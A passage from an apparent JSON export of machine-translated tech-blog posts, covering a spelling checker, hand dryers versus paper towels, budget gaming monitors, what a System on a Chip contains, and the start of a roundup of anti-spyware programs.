completing a document. To start the spelling checker click on the ' Check spelling 'tool.\n  Step 4 : The software will quickly scan the document and find the errors in the text. Wrong words will be colored to make it easier for you to spot errors.\n  Step 5 : Here you can correct errors in misspelled words correctly.\nNote, there will be some words that are correct but are marked incorrectly because they are not in the dictionary (database) of the program. Now just click on Add new word and put it into the dictionary, then save.\nI wish you successful implementation !!!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKymn6ynlr%2BmecWoqWabmJqwrLXNoGSvoZWpu6K5xKycZqugmrmttc2gZJ6qoqS%2FtHnIrGStoJViurC%2F02aqrZmema6zsA%3D%3D\n","link":"/post/the-software-for-checking-vietnamese-spelling-errors-is-the-most-standard/","section":"post","tags":null,"title":"The software for checking Vietnamese spelling errors is the most standard"},{"body":"After washing your hands with soap, how do you dry your hands? Using paper towels or hand dryers?\nSurely many people do not know that hand drying steps have a big impact on our health. If you choose to dry your hands with a dryer, you will be startled to learn that this is the reason for the increase in the ability to spread viruses up to 1,300 times. These include bacteria, flu viruses, fungi, herpes, hepatitis .\n  This is the result of research by scientists from Westminster University London. They used a harmless virus called MS2 and cardboard models covered with a microbial marker to test.\nThe results showed that MS2 bacteria adhere to human models, concentrating mainly on the abdomen and thorax model representing adults and the face model represents children when they are placed near a hand dryer. in the toilet.\nWith a wind speed of up to 134m / s, dryers can blow bacteria up to 3 meters away, while dispersing more easily 190 times and saving 100 times longer than using paper towels.\n  According to researchers, the cause of the terrible difference between hand dryers and paper towels comes from the mechanism of operation of the machine.\nHand dryers use heat and a high-speed blower to blow water away from the hand, so strong disturbed air spreads the pathogen around.\nEven for dryers that only use heat without blowing fans, the infection rate is still 60 times higher than that of paper towels.\n  In 2005, the results of a study in Germany showed that paper wiping reduces 24% of bacteria, while drying with a dryer increases bacteria by 17%.\nIn 2014, Leeds University conducted research and found that the number of bacteria found on the dryer was 27 times higher than that of paper towels.\nIt seems that not all modern and luxurious methods are good and bring high efficiency.\nDo you have the correct personal hygiene to ensure health? 3 simple ways to clean your washing machine effectively ncG1vNJzZmismaXArq3KnmWcp51kwamxjK2cq6qZl7mmedOrrK2gXZeyqbXNnWStoJVitaK6w2abq7GVp3qquoytn55lpKS2rbHT\n","link":"/post/the-terrible-truth-behind-the-hand-dryer-in-the-toilet/","section":"post","tags":null,"title":"The terrible truth behind the hand dryer in the toilet"},{"body":"If you're a 'hardcore' gamer, you'll probably want to build your own computer system with all the best components you can find in the price segment.As we all know, dedicated parts such as graphics cards or processors often cost a lot of money, and they are likely to account for the majority of your PC's budget.In fact, for processing chips (CPUs) or graphics cards, we often don't have many options.There are not many manufacturers offering these devices so the number of products is not too much and is defined according to each segment.However, the screen is different.On the market today there are a wide variety of gaming monitors coming from many different manufacturers, so if you weigh carefully, you can choose for yourself a delicious one while still save a lot of money to invest in other parts.\nIn this list, we will look at ten of the best gaming screens on the market today, and they all cost under 5 million, a very reasonable price for the vast majority of games. Prime in Vietnam.\nGaming screen less than 5 million worth buying the most 10. 24inch ASUS VS248H-P 9. Samsung SE330 Series 27-Inch FHD 8. BenQ ZOWIE RL2455 24inch 7. ViewSonic VX2776-SMHD 1080p 6. Acer 27inch R271 5. ASUS VG245H 24 '' 4. 27inch ASUS VE278H - The best 27 inch screen below 5 million 3. LG Electronics 25UM58 25inch - IPS screen under 5 million best 2. 24inch AOC G2460PF 1. Acer XFA240 24inch summary 10. 24inch ASUS VS248H-P   \nAlthough Asus V248H-P is not a flashy design, it has a very affordable price and contains the power of impressive specifications that gamers should not ignore.If you are a person who has less interest in appearance and just wants something worthwhile, this is a device for you.\nSpecifications and specifications:\n24 \"slim design, display with Full HD resolution of 1920x1080 and fast response time of 2ms (GTG) eliminates ghosts for more flexible playback of images. Smart View technology allows users to adjust color parameters to provide consistent image and color quality from any angle. ASUS Exclusive Splendid Video Intelligence technology helps the screen to automatically optimize image quality with intelligent color, brightness, contrast and sharpness. ASUS Smart Contrast Ratio (ASUS Smart Contrast Ratio) 50,000,000: 1 automatically enhances the contrast of the screen to provide lifelike images. Support connecting HDMI, D-Sub, DVI-D inputs. The device is guaranteed a stable support for a minimum of 1 year under the ASUS Stable Model program for the VS series. Advantages:\n2ms response time. Full HD 1080p resolution. Asus automatic adjustment technology. Good price. Support all necessary connection ports. Defect:\nDesign stand is not good. Like some of the other names that will appear on our list, ASUS is one of the manufacturers that has established its reputation for the quality of the computer products they offer.But with other famous names like HP, Acer and LG in the list, ASUS VS248H-P still has its own advantages.\nJust like some of the other displays in the same price segment, ASUS comes with some great image display capabilities, including 1920 × 1080 full HD resolution, 2ms fast response speed and similar ratio. 50,000,000: 1. In addition, this device also supports all necessary input ports such as HDMI, DVI and D-Sub, giving players relatively excellent image quality. .\nHowever, what makes ASUS VS248H-P unique is its ability to automatically adjust parameters.Using ASUS Splendid Video Intelligence technology, the images on the VS248H-P will automatically adjust color, brightness, sharpness and contrast so gamers will always experience the best picture quality. may.\nHowever, the durability of this device is also something we need to consider carefully.Some people complain that the ASUS VS248H-P will stop working or have trouble after a short time, with some even stopping working after only five months.But this number is not large, and as we know, technology devices always have risks.\nWith many favorite features for gamers, it can be said that the ASUS VS248H-P is a worthy investment.\nASUS VS248H-P is priced at approximately 3 million VND.\n9. 27inch Samsung SE330 Series FHD   \nIn terms of price, it is not exaggerating to say that the Samsung SE330 is one of the best 1080p gaming screens under 3.5 million that you can find (at the time of writing).This is really a great screen.\nSpecifications and specifications:\nScreen 27 \"with FHD resolution. Smooth game play with 1ms quick response time. Eye saver mode helps protect eyes. Can be wall mounted Advantages:\n1ms response time. Full HD 1080p resolution. Large screen 27 \". Good design. There is eye protection. Defect:\nNo DVI port Samsung is often known for its expensive and technologically expensive equipment, but Samsung's SE330 has shown that in the mainstream segment they can also do very well.While this is not the cheapest gaming screen on our list, it is also a great option for those with a budget that is not too generous but wants to own a device from one among the top brands.\nAlthough the price is quite low compared to the average price of Samsung products, but the SE330 can still give gamers a role-playing experience with the best image quality possible.Moreover, this screen also has an extremely fast response time of 1ms and a width of 27inch.You can also find eye saver mode for better eye protection when playing games continuously for long periods of time.\nYou think that at such a low price, this screen will have some major drawbacks, but in fact, the only weakness of the Samsung SE330 is that it has no DVI port and the refresh rate (refresh rate) is relatively. low (only 60mhz).If the disadvantages do not mean much to you, the SE330 is a very interesting option.\nSamsung SE330 is priced at approximately 3 million VND.\n8. BenQ ZOWIE RL2455 24inch   \nFor those who want to own a game screen that has 'abundance' of features, BenQ's ZOWIE model is a great choice.It is specially created for gamers and contains everything a gamer can ask for, but has a high price.\nSpecifications and specifications:\nQuick response, response time of only 1ms (GTG) and extremely low input lag reduction technology for optimal gaming experience, no image retention or ghosting. BenQ ZOWIE's exclusive color booster is Black eQualizer that enhances visibility in dark environments without over-illuminating too many areas, displaying every detail with optimal clarity.Contrast type: 1000: 1. Typ.DCR (DyNomic Contrast Ratio): 12M: 1. Provides optimized settings for RTS, FPS, and battle modes, along with intelligent expansion / display modes that simulate custom screen sizes, allowing setting options view individually. Wall-mountable. The frame is specially designed to reduce glare and reflection.Flexible adjustment of multiple angles and built-in speakers. Compatible with many console and PC platforms, equipped with multiple input ports (dual HDMI ports, DVI-D ports, D-Sub ports and headphone jacks). Advantages:\nThere are integrated speakers. 1ms response time. Automatically adjust. Support all basic connection ports. Good compatibility with consoles. Full HD 1080p resolution. Little blue light. Defect:\nRelatively expensive. Refresh rate is only 60Hz. If you want to compete in the world of eSports, you will need a gaming screen that can meet some advanced needs.That's why BenQ ZOWIE RL2455 is a remarkable choice for gamers.\nZOWIE RL2455 is one of the fast-responding displays that makes fast-paced gaming without lag.Phenomenons like ghosting, image saving are completely eliminated thanks to the auto-correction features, giving gamers the best visibility in each certain situation.\nBenQ also offers users many connectivity options such as HDMI, DVI, VGA and D-Sub.Help them easily choose the most suitable connection for their custom PC.If you are a fan of real-time strategy games, then you probably won't be disappointed to learn that one of BenQ's most unique features is 'RTS Mode', which helps darken. Optimized display for RTS games.\nHowever, the biggest minus point of BenQ ZOWIE RL2455 lies in the selling price (about more than VND 4 million).Of course, compared to the performance on the price, this product is not considered expensive, but sometimes users do not need so many features, so they will choose products with less features and have cheaper price.In addition, the ZOWIE RL2455 stand is not adjustable, which may be a problem for some gamers.\nWith the above advantages and disadvantages, BenQ ZOWIE RL2455 is definitely not 'best choice', but it is still worth considering, depending on the actual needs of each person.\nBenQ ZOWIE RL2455 is priced at approximately VND 4 million.\n7. ViewSonic VX2776-SMHD 1080p   \nThe screens using IPS panels are said to be the best screens, providing high quality display from every angle.VX2776-SMHD from ViewSonic is such a device.\nSpecifications and specifications:\nUltra-thin frame design provides a luxurious feel, Full HD resolution (1920x1080p) comes with high-end IPS panel for excellent display quality in the segment. SuperClear IPS panel ensures consistent display quality from any angle. Flicker-Free technology and blue light filter help protect eyes effectively. VX2776-SMHD technology helps to connect laptops, PCs and Macs more effectively through DisplayPort and VGA inputs. 3 year warranty. Advantages:\nResolution full HD 1080p with IPS panels. 27inch full view screen. Energy saving. Reasonable price. Defect:\nNo DVI port. ViewSonic has started producing screens since the late 1980s, so this company can be considered a big name in the screen manufacturing industry.However, that is not the reason why this screen is included in the list of the best gaming screens under 5 million.\nThis screen has many valuable features.It is a 27-inch IPS screen that supports full HD at 1080p (1920 x 1080) resolution, has a 60Hz refresh rate and supports D-Sub, HDMI and Displayport connectivity and is compatible with Windows and Mac computers.We can say this is the best 27inch IPS screen that we can find in the segment below 5 million.\nThe ViewSonic VX2776 has a luxurious design with an ultra-thin bezel.In addition, because this screen is equipped with IPS (In-Plane Switching) technology, you can see sharp images at any angle, this technology has been done very well on smartphones. .This monitor has a low refresh rate, only 60Hz and can provide a static contrast ratio of 1000: 1 (dynamic 80M: 1).It also supports users with 5 different settings for different purposes such as playing games, watching movies, surfing the web, text editing . These settings will help quickly display the correct image for any application you are using.\nVX2776-SMHD can tilt forward 17º and rear 5º.In addition, it is also capable of saving energy, only 17W per hour when in Eco mode and 32W per hour when used at the highest performance level.\nThere are some drawbacks to this screen, which is that it is impossible to adjust the height of the VX2776 and without the DVI port.Another thing is that the response speed is quite modest compared to other competitors, only at 7ms, this is also the slowest response time in our list.Remember, traditional IPS displays often have poorer response times than conventional TN panels.\nViewSonic VX2776 is priced at approximately VND 4 million.\n6. Acer 27inch R271   \nIf you are looking for a low-cost gaming monitor, but with a good quality, the Acer R271 is a worthy option, one of the best 27-inch screens under 5 million that we can find. on the market.\nSpecifications and specifications:\n27 \"wide screen with IPS panel with Full HD 1920 x 1080 resolution. Response time: 4ms. Input signal port: 1 x HDMI, 1 x DVI (w / HDCP) \u0026amp; 1 x VGA. Maximum brightness of 250nit. Advantages\nLuxurious design and modern. Very wide vision with IPS panels 1080p resolution. Support all essential connection ports. Defect:\nFeedback time is not fast in price range. At the moment, this Acer screen only costs about $ 130, ie VND 3 million.With 3 million VND you will get a screen equipped with a lot of features that a gamer seeks.Acer R271 has a refresh rate of 60Hz, a static contrast ratio of 1,000: 1 and an aspect ratio of 16: 9. This screen also supports Full HD display at a maximum resolution of 1920 x 1080. Acer R271 is a bad choice and in fact, it is the second best IPS 27 'on our list.\nThe weakness of the Acer R271 is that its brightness is quite modest (only up to 250 nit), so you need to pay attention to the location of the monitor, avoid the area near the window or have direct light on it.Another problem is that we won't be able to adjust the Acer R271's stand height, it's also not compatible with VESA.\nThis monitor has a slower response time of 4ms, however, this is common on IPS screens, in return for an advantage of the IPS screen which will be a great viewing angle and better display quality. so many, so much.\nThe Acer R271 also incorporates an anti-glare, flashing screen, which comes with Acer's Eyeprotect technology, so it can be said that this screen is quite eye-friendly even if you play the game continuously for a while. long time.\nThe Acer R271 has a full range of basic connectivity ports you need: DVI (with HDCP), D-Sub (VGA) and HDMI port (Version 1.4) to connect.However, it lacks a Displayport port and USB port, though not a big deal, but for those who are demanding it can be considered a minus point.\nThe Acer R271 can also save you a lot of money in the long run because it only consumes up to 25Watts at maximum settings and 12Watts on Eco mode.Overall, considering the performance factor on the price, the Acer R271 is a really worthwhile option!\nAcer R271 is priced at approximately VND 4 million.\n5. ASUS VG245H 24 ''   \nIf you are looking for a screen below 5 million with Freesync technology for your Radeon GPU, Asus VG245H is the device born for you.\nSpecifications and specifications:\n1ms response time with ASUS GameFast Input Technology, comes with dual HDMI ports for extremely smooth gaming experience. ASUS Eye Care technology with blue light and strobe filters to minimize eye strain.Physical size (including stand) 22.0x (14.1 ~ 19.25) x 8.30inch.Size without stand: 22.0 x 12.95 x 1.96inch. Exclusive GameVisual and GamePlus features enhance color display and control performance.FreeSync / Adaptive Sync technology with fefresh rate reaches 75Hz for extremely smooth experience with AMD Radeon GPU. Full HD 1920 x 1080 resolution. Advantages:\n1ms response time. 1080p resolution. Nice design, flexible posture adjustment, suitable for all working positions. Defect:\nAdjusting the parameters is quite complicated. Another representative from the Asus family, also, Asus has always been a famous manufacturer with affordable configuration products.Asus VG245H has a Full HD screen that supports 1920 x 1080p resolution, it has a refresh rate of up to 75Hz and a native contrast ratio of 1000: 1 (dynamic ratio of 100M: 1).Therefore, it can be affirmed that VG24H will give good display quality.In addition, this screen is also quite eye-friendly, it has very low blue light.\nIt should be clear that Asus VG245H also comes with Freesync technology from AMD, so this is a great advantage for Radeon GPU users (the screen will still be compatible with NVIDIA GPUs but it cannot use the feature. adaptive sync).\nFor connection, on Asus VG245H you will have two HDMI 1.4 ports to be able to connect 2 devices at the same time, it has VGA (D-Sub) for better compatibility with older computers.However, like the Acer R271, it does not have DVI port and USB port.\nThis screen is also quite fast, with a response time of 1ms, this will be a factor that players must pay attention to.Another interesting advantage comes from the stand of this screen.You can tilt, rotate the screen in almost every direction.You can also adjust the height of the screen to match the sitting position.\nThe only two defects on the Asus VG245H that we can see is the adjustment of the parameters are quite complicated.Some users said they had difficulty adjusting the initial settings on the screen.Along with the 40W power consumption in the maximum setting is relatively high compared to the 24 inch size.However, when it has been set up and launched, you will find that these disadvantages are not absorbed in comparison with the impressive performance that Asus VG245H brings.\nAsus VG245H is priced at approximately VND 4 million.\n4. 27inch ASUS VE278H - The best 27 inch screen below 5 million   \nYes, it's Asus again.If you want to find a big gaming screen, the above performance is good in a segment of less than 5 million, this is Asus VE278H.\nSpecifications and specifications:\nGeneral dimensions: 27-inch wide screen (68.6cm), 16: 9 ratio, Full HD resolution of 1920x1080. Input connector: HDMI x 2, D-Sub, HDMI-DVI cable. Speaker: 3W x 2 Stereo RMS Splendid Video Intelligence technology, connected to Blu-ray Full HD player and a myriad of other devices such as DVD players, audio devices and decoder boxes, for unlimited entertainment. ASUS smart contrast ratio of 50,000,000: 1. Compatible and standard: BSMI, CB, CCC, CE, C-Tick, EK, ErP, FCC, Gost-R, J-MOSS, PSB, RoHS, UL / cUL, VCCI, WEEE, WHQL (Windows 8, Windows 7). 3-year warranty with ASUS Rapid Replacement service. Advantages:\n1ms response time. Smart contrast technology of Asus. There are integrated speakers. Full HD resolution Support all basic connection ports. Defect:\nCan not adjust the height. The bezel is relatively thick. Asus VE278H is a great screen for gaming in particular and basic use in general.It even gives users 6 display settings, with a refresh rate of up to 75Hz, making sure the gaming experience on this screen is smooth.\nAsus VE278H has a static contrast ratio of 1200: 1. This is the best natural contrast ratio of all the screens we mentioned in this list.In addition, the Asus VE278H screen is also Full HD with a maximum resolution of 1920 × 1080. However, for using only traditional TN panels, Asus VE278H will not be able to give us a good viewing angle like the screen. IPS is.But it is probably not a point except because our usual posture is still sitting in front of the screen, and this posture will not cause any difficulties for VE278H.\nThe screen response time is 2ms, not too impressive, but the input delay will also be kept to a minimum.Asus VE278H supports 2 basic connection ports, VGA, HDMI and some other auxiliary ports.Asus also offers us an HDMI and VGA cable, so you won't have to worry about how to connect the monitor to your computer or gaming device.\nAffordable, great features.Asus once again showed how they know how to do their job well.\nAsus VE278H is priced at approximately 3.5 million VND.\n3. LG Electronics 25UM58 25inch - IPS screen under 5 million best   \nSurely people who are interested in screen technology have come to wonder why LG has yet to be seen - one of the manufacturers that pioneers on screen technology.As expected of LG, LG rarely appears but appears to occupy high positions.If you are looking for an IPS Ultrawide monitor at an affordable price and don't care about DVI port, LG 25UM58 is a great choice.\nSpecifications and specifications:\nIPS UltraWide screen is 21: 9 resolution at 2580 x 1080, optimized for a professional gaming experience. RGB color space (sRGB) reaches over 99%. Game Mode.Black Stabilize supports the ability to display dark colored bands. Good compatibility with Windows 10. Advantages:\nSRGB color. Technology Game Mode.Black Stabilize. Technology Ultrawide, 2K resolution (2580 x 1080). Great multitasking ability. IPS technology. Defect:\nNo DVI port. LG's name is a guarantee for quality electronic products whether it is a TV, smartphone or other product.The same is not an exception for LG's gaming screens, and when they and most clearly demonstrate it is their UM57 screen model.\nJust like some of the other screens on the list, our LG UM57 uses IPS technology to allow for better viewing no matter which side of the screen you are watching, but in terms of display quality it is clear. LG UM57 has defeated them all.It does this by using the sRGB color strip, which allows the screen to display colors 99% accurate in practice, thereby helping this screen not only great for gamers, but also for those who like to take photos or edit videos.\nIn terms of resolution, LG UM57 boasts a frame rate of 'Ultrawide' 21: ​​9, allowing gamers to have a broader view than ever.This screen is the only screen in the list with a resolution of 2560 x 1080 (2K).In addition, Black Stabilizer technology also contributes to providing gamers with the display quality of dark color bands significantly improved, thereby giving players the best vision, even when they look at the intervals. Dark colors in the game.In terms of multitasking support, the screen on LG UM57 can be divided into four equal parts without slightly reducing the quality of even the smallest resolution.All of this comes with a very pleasant price, only around 5 million VND depending on the place of sale.Although it can be easily recognized that there are so many reasons why this screen costs a lot of production, it must be said that LG UM57 has done very well, from optimizing performance to trying to bring good prices. Best .\nThe only drawback on LG UM57 is that it doesn't have a DVI port, unfortunately, UM57 only lacks a DVI port to be perfect.Providing players with one of the best visual experiences they will get in the price segment, it can be said that LG UM57 is a worthwhile device to every dollar.\nLG UM57 is priced at approximately VND 4 million.\n2. 24inch AOC G2460PF   \nIf you are looking for a gaming screen that has a low response rate of 1ms, a high refresh rate (144Hz), a stylish design and many other features, but must have a price of no more than 5 million, the AOC G2460PF is a device for you\nSpecifications and specifications:\n24 '' LED screen.Full HD 1920 x 1080 resolution, 1ms response speed, 144Hz refresh rate. AMD FreeSync technology delivers the smoothest gaming experience.Chân đỡ có thể điều chỉnh phù hợp với nhiều thư thế ngồi. Có thể gắn tường. Độ sáng: 350cd/m2. Tỷ lệ tương phản động: 80.000.000: 1. Pixel Pitch (H) (V) - 0,276. Cổng kết nối: VGA, DVI, HDMI w/MHL, Display, 4 cổng USB, 1 cổng USB Hub, jack cắm tai nghe. Advantages:\nCông nghệ Freesync. Thời gian phản hồi 1ms. Có tất cả các cổng kết nối chính. Độ phân giải Full HD 1080p. Refresh rate lên tới 144Hz. Thiết kế tuyệt vời. Tương thích tốt với Windows 10. Defect:\nGiá tương đối cao. Phải khẳng định luôn rằng AOC G2460PF là màn hình đắt nhất trong danh sách này của chúng ta (xấp xỉ 5 triệu đồng), nhưng với những gì mà nó mang lại thì con số này là hoàn toàn xứng đáng. AOC là màn hình có thể cung cấp cho người chơi trải nghiệm Full HD cực kỳ chân thực với refresh rate cao, khả năng phản hồi tốt giúp loại bỏ độ trễ gây ra hiện tượng mờ hình ảnh. Thêm vào đó, AOC cũng trạng chi cho chiếc G2460PF công nghệ Freesync, cho phép đồng bộ hóa cũng như tương thích tốt với GPU của người dùng, mang đến khả năng hiển thị hình ảnh hoàn hảo.\nCác cổng kết nối cũng như tiện ích tích hợp trên AOC G2460PF cũng là một điểm cộng lớn. AOC đi kèm với một hệ thống loa được tích hợp vào màn hình, cũng như các tùy chọn đầu vào cho DVI, HDMI, VGA, USB và thậm chí là cả tai nghe. Tất cả các tùy chọn này mang đến cho AOC G2460PF khả năng sử dụng linh hoạt hơn đáng kể so với các đối thủ khác trong cùng phân khúc giá.\nAOC G2460PF không giành được vị trí dẫn đầu trong trong danh sách màn hình chơi game tốt nhất dưới 5 triệu bởi nó có độ trễ đầu vào cao hơn một chút so với ứng viên ở vị trí số 1. Ngoài vấn đề này thì thực sự không có nhiều điểm để để phàn nàn về AOC G2460PF. Màn hình này là sự lựa chọn hoàn hảo cho các game thủ, những người muốn tận dụng tối đa trải nghiệm chơi game của mình.\n1. Acer XFA240 24inch   \n- Màn hình chơi game tốt nhất dưới 5.000.000VND.\n- Màn hình 144hz tốt nhất dưới 5.000.000VND.\nĐó chính là những danh hiệu mà Acer XFA240 xứng đáng nhận được\nNếu bạn là một game thủ thực sự thực sự, là những người cần đến một màn hình chơi game tốt nhất với giá cả hợp lý thì Acer XFA240 là một sự lựa chọn rất khó đánh bại.\nCác đặc điểm và thông số kỹ thuật:\nMàn hình 24\" Full HD (1920 x 1080), đi kèm với công nghệ AMD FreeSync. Sử dụng tấm nền Twisted Nematic Film (TN Film) 16,7 triệu màu, độ sáng tối đa 350nit. Refresh Rate đạt 144Hz, sử dụng cổng hiển thị Display Port, thời gian phản hồi: 1ms. Chỉnh hướng đa chiều, cho góc nhìn ngang 170° và dọc là 160°. Tích hợp sẵn 2 loa 2W. Cổng kết nối đầu vào bao gồm: 1 Display port (V1.2), 1 HDMI/MHL và 1 DVI. Sử dụng OSD giúp tự động điều chỉnh độ sáng và độ tương phản tối đa, hoặc quay trở lại cài đặt mặc định. Advantages:\nThời gian phản hồi 1ms. Chơi game Full HD 1080p. Công nghệ Freesync. Đi kèm với cáp Display port. Refresh rate lên tới 144Hz. Defect:\nCó hiện tượng pixel chết (trên một số ít thiết bị). Chỉ sử dụng tấm nền TN. Công bằng mà nói thì Acer XFA240 hay AOC G2460PF đều rất xứng đáng ở vị trí số 1 nhưng thiết bị của Acer lại tỏ ra xứng đáng hơn trên góc độ sức mạnh thương hiệu và mức độ tin cậy liên quan. Đây là một màn hình mới hơn được Acer cho ra mắt từ cuối năm 2017, vì vậy những đánh giá từ người dùng về màn hình này cũng không có nhiều.\nĐi vào vấn đề chính, như đã nói Acer XFA240 được trang bị công nghệ Freesync cho khả năng tương thích rất tốt với card đồ họa của AMD. Nhưng có vài vấn đề mà bạn cần cân nhắc. Với refresh rate cao, lên tới 144Hz, Freesync sẽ không đem lại được những lợi ích rõ rệt về khả năng hiển thị mà mắt người cho thể nhận ra. Bỏ qua vấn về Freesync, màn hình này có khả năng di động và chỉnh hướng rất tốt có thể nghiêng từ 5° đến 35°.\nCòn về vấn đề hiển thị, tấm nền trên Acer XFA240 chỉ là TN, tất nhiên không thể cho khả năng tái tạo màu sắc ấn tượng như các đối thủ sử dụng IPS. Tuy nhiên, vì đây là một màn hình chơi game, TN có thể sẽ là giải pháp tốt hơn bởi tấm nền này cho khả năng phản hồi rất tốt, có độ trễ gần như bằng không trong hiển thị trò chơi và duy trì tốc độ này trong khi vẫn đáp ứng tốt độ phân giải Full HD. Ngoài ra, cũng chỉ với một vài chỉnh sửa trên màn hình hoặc trên card đồ họa bạn sẽ thấy khả năng hiển thị được cải thiện rõ rệt, màu sắc cũng chân thực hơn.Màn hình này có kết nối HDMI 1.4, Displayport và DVI.\nVới XFA240, Acer đã làm ra một sản phẩm có chất lượng vượt trên cả giá thành.\nAcer XFA240 có giá bán xấp xỉ 5 triệu đồng.\nsummary Trên đây là danh sách những màn hình chơi game dưới 5 triệu tốt nhất hiện nay, tuy nhiên, công nghệ sẽ còn phát triển liên tục nên có lẽ danh sách của chúng ta sẽ còn phải cập nhật thêm nhiều lần nữa.Wish you find yourself the best choice!\nSee more:\nTop 10 best Wi-Fi cards Top 10 best mini laptops 2018 Top 6 best gaming mice for PC gamers Top best headphones for gamers 2018 ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZpqVqMFus8CmoKefXaiws7HEp6pmrZ6ZsrN5lGakoqScnryv\n","link":"/post/top-10-best-gaming-screens-under-5-million/","section":"post","tags":null,"title":"Top 10 best gaming screens under 5 million"},{"body":"These small and power-efficient chips are powering almost every mobile device today, from smartphones to tablets. In today's article, let's learn about SoCs and the components that make them up.\nWhat is SoC?   The term SoC stands for System on a Chip. This chip is so named because it includes many essential computing components, all compressed into one chip. SoCs are mainly used for mobile devices because of their small size and low power usage.\nStarting in the 1970s, several companies attempted to put multiple components into a single chip to power digital clocks. Intel succeeded in doing this with the Microma Digital Watch in 1974, creating the first true SoC. The company has integrated timing functions and LCD driver transistors into one chip.\nSoCs really evolved in the 80's and 90's. Personal computers became popular in the 80's and they needed to be powered by smaller chips. In the 90s, mobile phones used SoCs and that trend continues to this day (smartphones and tablets are still using SoCs).\nWhat's in an SoC? Mobile devices like smartphones and tablets need to be compact. This is why SoCs exist. SoC manufacturers take some essential components and compress them into one chip to save space. Having all the components in the same place saves a huge amount of space compared to having components scattered all over the motherboard.\nSo what's on a SoC?\nCentral processing unit (CPU)   One of the main components of the SoC is the CPU. CPU is also known as the brain of the device. This is because it handles all the major processing tasks that the user does on his device. Just like how the brain processes information coming from the senses, the CPU processes information coming from RAM and cache.\nGraphics Processing Unit (GPU) The GPU in the SoC works like the CPU, only it handles other things. The CPU can handle everything from code to graphics, but that's just too much work. To reduce the strain on the CPU, the GPU is responsible for processing graphical information, i.e. everything that you see on the screen.\nRAM   RAM stands for Random Access Memory. RAM contains data that needs to be accessed later and at that location. Computers used to have to access data directly from their physical storage units, but that process was very slow.\nRAM overcomes this problem with memory that reads and writes data much faster than regular memory, even SSDs. Once data is loaded into RAM, the CPU can easily access and recall useful data from ultrafast memory.\nFor example, you need to open an application and the application resides on the hard drive. When you open it, that application will be loaded from the hard drive into RAM for the CPU to access. Depending on what's happening in the application, data can be accessed quickly to keep things running smoothly. The CPU loads data into RAM that it thinks you can use, relative to the application, speeding up access even more.\nCache Although RAM is a block of memory that can be accessed quickly, there is another form of memory that is even faster. It is called CPU cache. RAM contains data that the CPU needs to use, but if there is information that is accessed frequently, it is moved to the cache. Cache can send data to CPU faster than RAM.\nSuppose you open a program many times in a short period of time. The system will store that program in the cache so that it loads faster. Web pages are also cached for faster access.\nSignal Modem It seems odd, but signal modems are actually built into the SoC. Modems are responsible for converting electromagnetic signals into digital signals that can be understood by phones or mobile devices. Modems are also responsible for doing the opposite when they send data to servers (servers).\n  Image Processing Unit (IPU) The IPU is responsible for processing the data coming from the camera. When light hits the image sensor, that data is converted into a digital signal and sent to the SoC. That data is then processed by the IPU while the CPU can take care of other tasks.\nVideo Encoder If you have video data on your device, that data will need to be converted to an analog signal to be viewable. The video encoder is responsible for taking a digital signal and converting it to an analog signal. That electrical signal is then converted into light in the display.\nDepending on the device, the SoC may have different components. For example, some SoCs don't have built-in RAM, while others have a section called NPU. NPU stands for Neural Processing Unit. It handles tasks related to artificial intelligence and Machine Learning.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWjrsC1scxmpqdlkWKwqbXPZqqomw%3D%3D\n","link":"/post/what-is-system-on-a-chip-soc/","section":"post","tags":null,"title":"What is System on a Chip (SoC)?"},{"body":"Spyware (spyware) can be defined as computer software stealthily installed on a personal computer to 'spy' or to capture control through a user's computer activity without User permission is required.A spyware can also capture user activities and install additional software, redirect browser activity and similar activities to make the computer vulnerable to viruses and further the dangerous infections.\nWhat features are required for an antivirus software? \n Most spyware offers major spyware and adware detection and removal capabilities, so you should look into the list of features and add-ons in detail that the antispyware software offers. Check to see if the application notifies you about the details of spyware found on your computer and also suggests ways to prevent spyware attacks. Check whether there is an automatic update or automatic scheduling facility that will ensure you continue to upgrade your anti-spyware program against the latest spyware threats spreading on the Internet. You should also look for a powerful recovery tool that can be of great use in case you accidentally delete any important files.\nHow effective is your anti-virus software? Should not only temporarily remove spyware, look for an anti-spyware program that not only provides real-time protection but also prevents the installation of this software in the future. Check to see if there are any other types of spyware that your anti-spyware software is not yet aware of. It is recommended to use an anti-virus program that can block many types of spyware and adware, regularly updating the latest spyware.\nIs your antivirus software easy to use and convenient? \n First of all, the software needs to be easy to install, you don't want to have to install a program with lengthy instructions. Consider the clarity and understandability of software facilities and characteristics. Look for simple, direct characteristics and pay attention to the effectiveness of spyware poisoning. Also, you won't want an antispyware that takes too much time to scan, destroy and update the installation. Pay attention to choosing a fast, powerful and effective anti-virus program!\n15 effective antivirus software \n 1. Ad-Aware | Download     The free Ad-Aware version was developed by Lavasoft and is one of the strongest applications when you need to kill spyware and adware. This anti-spyware program is useful for you in case you don't want to spend money buying an effective software. It is clear that the Professional version offers an array of special features not available in the free version. Another distinction is that the free version only performs scans when the user activates the program and the Professional version always updates the computer from spyware attacks.\n2. Windows Defender | Download    Windows Defender is a software previously known as Microsoft AntiSpyware, a Microsoft antivirus product. This software is specially designed to prevent, remove and verify spyware on Microsoft Windows operating systems. Currently the software is part of Windows Vista and is also available as a free download for Windows XP.\n3. McAfee | Download   It is undeniable that McAfee, a popular name for antivirus software products, is a major provider in the computer and network security world. McAfee's antivirus software works perfectly with spyware like access keys, remote control programs and even browser attacks. This software is also effective for password security. The lack of this software is the normal performance of real-time testing before the attack on spyware.\n4. Spyware Guard | Download   This is completely free software of Javacool Software. Spyware Guard is effective when scanning in real time and before spyware hijacks browser controls. An important feature is that this software prevents the download and installation of malicious software while you surf the Internet via Internet Explorer. This software is provided with self-updating capabilities and access to reporting facilities. However, in addition to other inconveniences of free software, this program also unjustly destroys an inadequate amount of system resources on the computer.\n5. SUPERAntiSpyware | Download     SUPERAntiSpyware will be the first choice if you want to remove spyware on your computer. This software is regularly updated, installed and scanned quickly and allows users to take full control of what is scanned. It can check the inside of ZIP files, ignore unknown file types (when scanning quickly), skip files larger than 4 MB and ignore un executable files (only scan files with EXE extensions and similar file type).\nWhat really makes SUPERAntiSpyware stand out from the list of antispyware in this list is that it has a setting for scanning only files that have been changed in the last few days (1 day, 5 days, etc.). .), ignore System Restore and Volume information data, use multiple CPUs for faster scans (called Scan Boost) and even scan the files that the shortcuts point to.\nSUPERAntiSpyware can scan your entire computer or just a specific part that usually contains spyware. Users can run a Critical Point Scan to delete spyware 